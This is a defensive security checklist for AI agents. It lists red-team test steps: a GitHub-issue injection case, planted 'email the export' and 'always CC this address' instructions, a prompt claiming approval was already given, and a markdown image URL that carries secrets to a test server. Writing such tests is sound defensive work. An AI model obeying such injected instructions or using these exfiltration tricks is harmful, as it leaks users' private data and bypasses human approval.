AI Agent Security Checklist (2026)

For each tool and data source, record who can write to it. OWASP LLM01:2026 sorts these into untrusted surfaces (public web, email from unknown senders), semi-trusted ones (public issue trackers, package READMEs, third-party API responses) and trusted ones an attacker can still reach through a low-privilege channel such as a public form or a support ticket.

In May 2025 Invariant Labs showed a malicious public GitHub issue steering an agent to copy private-repository data into a public pull request.

Strip tag-block (U+E0000 to U+E007F), variation-selector (U+FE00 to U+FE0F) and zero-width (U+200B, U+200C, U+200D, U+2060) characters. Run validation outside the agent, in code, not by asking the model. OWASP notes that provenance labelling reduces attack success in non-adaptive tests only.

Track a flag per run that is set when content from an untrusted channel enters context (a fetched page, an inbound email, a third-party tool result). While it is set, write and send tools must block or ask. Test by feeding a document that asks for a send action and checking the gate fires.

Find the system prompt in the repository and its change history. Grep it for keys, connection strings and phrases such as "only allow". Ask the agent to repeat its instructions and treat whatever comes back as public.

Log the user's task and the agent's plan side by side. Plant an instruction that asks for an unrelated action (for example "also email the export to ...") and confirm the run pauses with the deviation shown.

For each agent, write one table: tool, what it can read, what it can change, which credential it uses, and where it can send data. Compare it with the tools actually registered at run time.

For each tool in the inventory, name the task step that needs it. Remove the rest. For each remaining tool, list its functions and remove those no step uses.

Search the tool list for shell, exec, eval, generic HTTP and generic SQL tools. For each, write the specific operations the agent needs and wrap only those.

For each tool, log in with its credential directly and try an operation it should not have (an update on a read-only tool, a table it does not need). The downstream system must refuse.

With two test users, ask the agent as user A for user B's records, directly and through a sub-agent. Both must fail at the data layer, not because the model declined.

Find where tool calls are executed and confirm a deterministic check of caller, action and arguments runs first. Ask the agent politely to skip the check; nothing should change.

Give the agent a task designed to loop (for example a tool result that always says "try again") and confirm the run stops at the limit and is logged.

Inside the execution environment, try to read files outside the working directory, open an outbound connection and check the user ID. Each should fail or show a non-root user.

List every tool that sends, deletes, pays, publishes or changes access, and confirm each one stops for approval in a test run. If the agent connects through MCP, the Tools page says there SHOULD always be a human in the loop with the ability to deny tool invocations, and that clients SHOULD prompt for confirmation on sensitive operations.

Trigger an approval for a send action whose body contains hidden characters and an extra recipient. The prompt must show the full recipient list and the body as it will be sent. The MCP Tools page also says clients SHOULD show tool inputs before calling the server, to avoid malicious or accidental data exfiltration.

Call the gated tool directly, bypassing the approval UI, and through a prompt that tells the agent approval was already given. Both must fail.

Count approval prompts per user per day in a test week. If people approve nearly everything, move low-impact actions to audit-only and keep prompts for the actions that matter.

Run the preview path with network egress logged and a write-capable tool stubbed. Neither should see a call before approval.

Ask the agent, through a document it reads, to "remember" a rule such as "always CC this address". Check the write is logged with its cause and held for review.

Write a memory as user A and try to read or influence it as user B and from a different agent. Both must fail.

Pick a memory entry and trace it to the run, input and user that created it. Roll it back in a test environment.

Check whether summaries or conclusions the agent produces are stored as trusted memory without review, and whether unverified entries have an expiry.

List every source that feeds the retrieval index and who can write to it. Add a test document with an instruction to a source users can write to and query for it.

Use the inventory from TP-1. Simon Willison named the combination of private data, untrusted content and a way to communicate out the "lethal trifecta"; OWASP LLM01:2026 notes that removing any one leg removes the conditions. For agents with all three, either remove a leg (split the agent, drop the outbound tool) or put per-action approval on the outbound path.

For each path, note whether it can carry free text chosen by the model (a URL query string, an email body, a file name). Those are the paths an injected instruction will use.

From the agent's runtime, try to reach a domain not on the list through each outbound tool and from executed code. Each attempt must fail and be logged.

An allowlist does not stop exfiltration through an allowed destination, such as a public pull request, so pair it with DO-1 and DO-2.

Get the agent to output ![x](https://your-test-domain/?d=secret) from content it reads, and watch your test server's logs while the reply renders.

Check the credentials each agent uses and whether downstream logs can tell agents apart from people and from each other.

Record the lifetime of each token the agent holds. Reuse a token after its task has finished; it should be rejected.

Search the system prompt, tool descriptions and files reachable by the agent's tools for keys and tokens. Ask the agent, through a document it reads, to list the credentials it can see.

Have an agent delegate to a sub-agent and check the sub-agent's effective permissions are no wider than the parent's. Log every scope request and denial.

Work through items AU-1 to AU-9 of the MCP Server Security Checklist.

Send a message to an agent from an unregistered peer, and one that fails its schema. Both must be rejected and logged.

Pick one past run and rebuild it from logs alone: the input, each tool call and its arguments, and the result.

Check the agent's credentials and tools against the log store's permissions: no write, update or delete.

Replay a known attack path from your tests in a monitored environment and confirm an alert fires.

Exercise the switch in staging and time it.

Check the suite runs in CI on changes to the system prompt, tool definitions and model version, and that a failure blocks the release.

Fix the model version and settings for the test, record the number of runs in the test itself, and fail on the first unsafe action.

Give the tester your system prompt, filters and tool list, and ask them to get past them. Add every success to the suite from RT-1.